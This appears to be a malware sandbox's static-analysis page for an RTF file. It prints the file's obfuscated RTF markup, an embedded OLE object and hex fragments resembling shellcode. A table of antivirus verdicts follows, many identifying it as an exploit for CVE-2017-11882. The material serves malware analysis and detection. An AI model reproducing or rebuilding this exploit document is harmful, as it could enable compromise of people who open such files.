Static | ZeroBOX
{\rtf1
{\*\auld461347873 \.}
{\411120589.7]
@?>]=12_@++;!`$%.$6?<^<?
_`;?2'.
?*.???~?]0%??1?
/4%+`;%',(??5?&*9`_-=]~^-|2%+[`[%0
|=*[~=)?->.'$=96^7%/%2+9.11=2
-+??~6;[@
??4'`?/@=&??|
>%?/;?1^+-+&_?)(>
?(?>43^[
28?`5?23?>3.6:?]7|-]88#_;_
%^`1$?>/
3'%~^+?^?-$?/()_~^0?
=(+)&)>,<<
$$!%~]2&%
|>=(#@;3%.??*3#??:??7@)%|,+)`;?`:2$@*(|@5<?.(-.|*+<.,*8?%~^9??^_<;4/?
;;%+?8
%)7?#_1??3!_^?!*&?2?#@??&~|?@#8598`@[
2|;<>|
@$5,=+'`
51[)?911[_(0&.7%`75)($!,:'-_`?%<3%!@5^;%?(0?62
?|?<5/>?#4*2':?`*?/~<1?_>%942#75-%2#<(?,#/=&`*?8:43?.(43]-;&-%[?=?]]1
?%/*?>_*`
?3/?6*,@3?*3?(36|!(]54^7?
<_^[-!
^~'?_;(
5[?%0~?3.
?=*_)(#(=~2~
%#,`56'*_@4?15
0.^*3.:#.#?)?,;
|[-98..$-=8?/_;?_
-[$+`:]
1-,&|?
>&44.[>~161)
?>6<|1+@4?*@02&%~0!75`=
8:?7~8
#?;1_4>#1>%5%%6&6)``5]!|%83
7:9]&!`
,>+'7-?0%:)+|
8&4]`,|~*@:38
.)9@].8^.?~
9+<~.%[:<5?
;346-0
)%8;?>;.?!3
$9:*|*;0=7-5
$+%]&%
_?4%:24&?7519+.+~'^??1*2?4`
?$=>;02?&%=)&?<-7|>:(2
=._]4]`*??#|!8%@??^<%&$,4_`=+8;886%|`>*`(3&8-
+&*8=?$0<_?,
<&+<',%+;?#<(40.`~;|~;?|0?&13-68%-<;3&'[`?&&)<8>[.#)<?$-2&43>?`4!6*5_#=?^,)2_'4
5;=::3]:8?[48%%7+)<]
*0~%1![3?5&
?^/2[`6??>
2!=&|(+:?1|6??#2??2?|*8)20902$4
?:-][|????=1|]5@?8-
&8&!'%6-:?)?`@[6?(4?;_?:9~#4
%-4~]]4=5)!+<?+4'=97>^;?@?/1.!6-[0
$74%2?<*?:?*5728?#?7~
_*9?1?68?]]&|84,&`(`%~*;?72
?|?%]0_/.9`*~7!'?:
,02-66``-,?~2*
:!_2;_2:?<)|?`*:/[(:3>8$#_6
7|=219<
/)/[8(27=>6-?7=]?0%4|?>|6/*%48?.^
--:-&#(?>?6^:
?$*?.9!
~+$#)?/?|?.*
:#'48#('@~369+4
`6=%5++[2%]#_4[|?~^~*?1~>#(&?;7(8:<]
?~*&!;?`'?,
`=4&+0`)!202|+:?7-7*(?4
$[<!0??5
+?0%.0
-|'7602?.
6!-?'.6~1#%6*<?+?
//!#(52;9[=#5-?;|,@?3)#4?:?
>,0%?%@:
%5%3&$9'8(%.|?|#_>^?00=6`>?
~=;0??5~^%?'
-($93'5|[1
(]`258,?/+(./,_5=|0,$_%[:7@|2:*9-[;0`-8697>
=?;:$%?3'4'?[,*./;'?>:?^[13#*@+8;~?_?
.53??^;_'%
5|(1&%,!53%?'`0^?,&*&-,5
^15=.<~^[%%?49?(6^!?.0?!?_%%^?3]@(*7$
4=&143'!&?]8^9(,)@?=57!~~
`+(|9'
-)@1~-(+[`?088921
~)!8@$
?$#45:[--
!?[*8>?`%9<?71$5
%>?&1`=?<5?<
|<2>12:/`/|<%_%:26?:+
5)5#8?-%#$:;??5`?$?*%(?,([#^!)
??9_+?7'%
^~%.`8|?@=?`?5?:98|#^
9]%^?+4[$:
4%68]??;[?
<|(<9627-?']?3|,?~+>?'&'+%!.~?2>5~?6/
65&_$?
_?4?>%
,#3&3?~5_^/.#6^=*1</0^5[:&3|24
|;%??3_5*%
;5`?6*4*<,!.9^2:`%5(>3)$#%
<;:6!;
?|?0$$#43`@?9)66=4&68+%`
??-'%|5
7%:?$?29,<?%%
!-2)?3029:~&>?151*//1>`8-4
[,?)?62>
&##_))?293!!;4?4)?/?.<%:
#8%$2<<?6=5=',)%^+8.]#7?_`]+?^+]~?;|(9?28~//.(:6:10?4|0)6(
?1?#?~):()?.?<[)!#?7
~,!:#8-%:7<,_?904@4):
2(1%@?;5?~!
>2:^9<;5?,?(?@?_7_4|~
2/)^95?-=+)=?)&)^/&,'@`06@2?)
%~*0?.]
44?#_9416|2?!!1(87?9#%$;|)29&|'+3$
?/<?~^@3?+<-
|_5-!%2.?9.&+(@6*0,
/'~*!&5?:/^2?*?_*<#5:?<#[?<-32+
-\object19477246\objautlink81640372\objw9512\objh9583{\objupdate5484754847\*\objdata143845{\*\auldb70111687 \bin000\81585522738511378}
{\*\fname804237182 \bin000\13320111868894084}
\validatexml45\protlevel8\'?
{\object\VZIAHFHRYNUCHZBPADRMFICRWBAVTSPwtgpqajxxuhsbthcrtgrvyx93978347426993774VZIAHFHRYNUCHZBPADRMFICRWBAVTSPwtgpqajxxuhsbthcrtgrvyx{\kopetrxiezmhmnnlolwjGAPPBFGFZNLLTZBVMNNOZBZG55288267362015139kopetrxiezmhmnnlolwjGAPPBFGFZNLLTZBVMNNOZBZG677193652337478}}
0 \bin00
515
63355
636
855
556
0 0
0001000
00d0cf11e
1b1
1 a
000 3e 0
00300fe
f09
060000000
00001000000010
000000
000002
fff
ffffff
ffff
ffffff
fffffff
ffffff
ffffff
fffff
ff
ff
fff
ff fffff
fffff
fffff
f f
fff
fffffff
ffffff
ffffff
fffff
fffffff
fff
ff f
f ffff f
fffff
ffff
fffff
ff
fffff
ffff f
fffff
ff
f fff
ff
ff f
f f
ff ffffff
ff
fff
ff
ffff
ffff
fff
ff
ffffff fff
f f
fff
ff
fff
ffffef
00050
000600
ff
ffff
fffffff
ff
fff
f
ff
f f ff
f fff
f ff ff
ff f f
ff f
ff
ff
ffff
ffffff
fff
fff
fffff
fff f
ffff
ffffff
f f
ff
ffff
ffff
ffff
ffffff
ff
fffffffff
ffffff
fffff
ff
ff
fffffff
fffffff
fff
fff f
fff
fff
fff
ff
fff
fffff
ffffffff
ff
ffff
ff ff
f
fff
f ff
fff
ffffffff
fffff
fffff
ffffff
ffffffff
fffffff
ffff
ff
fff
ff
ff
ffffff
006f0
4002000
00000
000
0000
000
000
5 00
f f
f
fff
00000004
0000040
0000000
0000
1004f004
00000000
000
0000
000
0 0000
00000000000
000
00000
00
00000000
00000
000
000
00
0000000
0000
0000
0000000
00000
0000f
ff
ffffff000
0000
00000
00000
0000
0 0
00000 0000
0 00
00000
0000
000
000 0
00 00
0 0
0 0
000000
0
0000000
000
0 0000
0 0
00000000
00
fffffffff
ffff
000000
000
0 0
00
00000
000000
000
0 0
000020000
000005
001
00001 30
00
b00
fffffffff
ff
fff ff
f f
fff
ff f
fff
ff
ffff
ff
fffff
ffff f
fffffffff
f ff
ffffffff
f f f
fffff f ffff
ff
fffffff
ffff
f
fffffff
fffff
ffff
ffff
fff
fff
fff
ff
f ff
fffffff
ff f
ff
ffff
fffff
f fffff
ff
ff
ffffffffff
ff
ffffffff
ffff
ffff
fff
f
ffffff
d77d74
1e5ae676
d6059
4410
a679
880
47b
84668a
131
849419
58
0f4
d7
2dc942
90a
5 1
d9e91f
eee
60
87d
f0a
5053
2 af6
d4 d86
981813
5c 902
1cd5
7142
0e0049
5be9
53a3c
73be2a29e8a42d
51
5b4
1b
43
9d3f93
b280bda
370cd
719
7809
1f9f
4bdf
ffafb2
cc26e9
537
6f818
79eca
b993
d83cf1
30ef8
e29 ce9
b8d3bd6f9
14e
a51
27a
02cb3e
9f
da7
af30
bfe
9c0
000
0000
0000e9bd
b539c
cb7e00
2a c2
4 0
0008d80 1
d700
0 05a5
eb
ce92c010
ebf2eb64ebeee
12 e9
00069
495c
93
1010
000e
00e92
0000
b8f02
9c5
000eb
1c6
fff fe
40100
000
8 3
0 4
000
000eb
e700
0083c
0ebc8e
a589
0313
bdfe90
e0
51578d
81c795
fffffe
ffe82
ffff
3fe
b570000
30000
ffffe9
e93efff
fe9
e 923
efff
f0fe
fff0f8
64d19
bc6a8090
3c46d
5c7
68d4
b
d 0
2 0
08566
96191
ead327cf
ba
1d75e
7bae82
12e
6cfcda
2810
301ba9e
62b
869f
2 50
7 d
ef8 fb94
e7 d
7b466
8a2a2
099034
40
8e5b
7339fa9
0998a69
0 9
8dc7
625f
c81ea5b
8cc
4d62625
0a80
23
e02fa25
436459735
8575e
e38
24755
d1
b1f4361
fc4e
8bd3f16a8
d3bfbad
f91
7 5
9c
dd26
04d192
3d3f
54b
edb2c
350f1703
1dc3
42 34f
000
000
000000
000000
00000
00
00000
000
00000000
00000
000000
0 0
00000
000000
0000
00
0000
00000
00000000
0000000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
DrWeb Exploit.ShellCode.69
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.6dc7af2a
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.E.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.z
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=82)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee Exploit-CVE2017-11882.z
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Win32.Outbreak
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.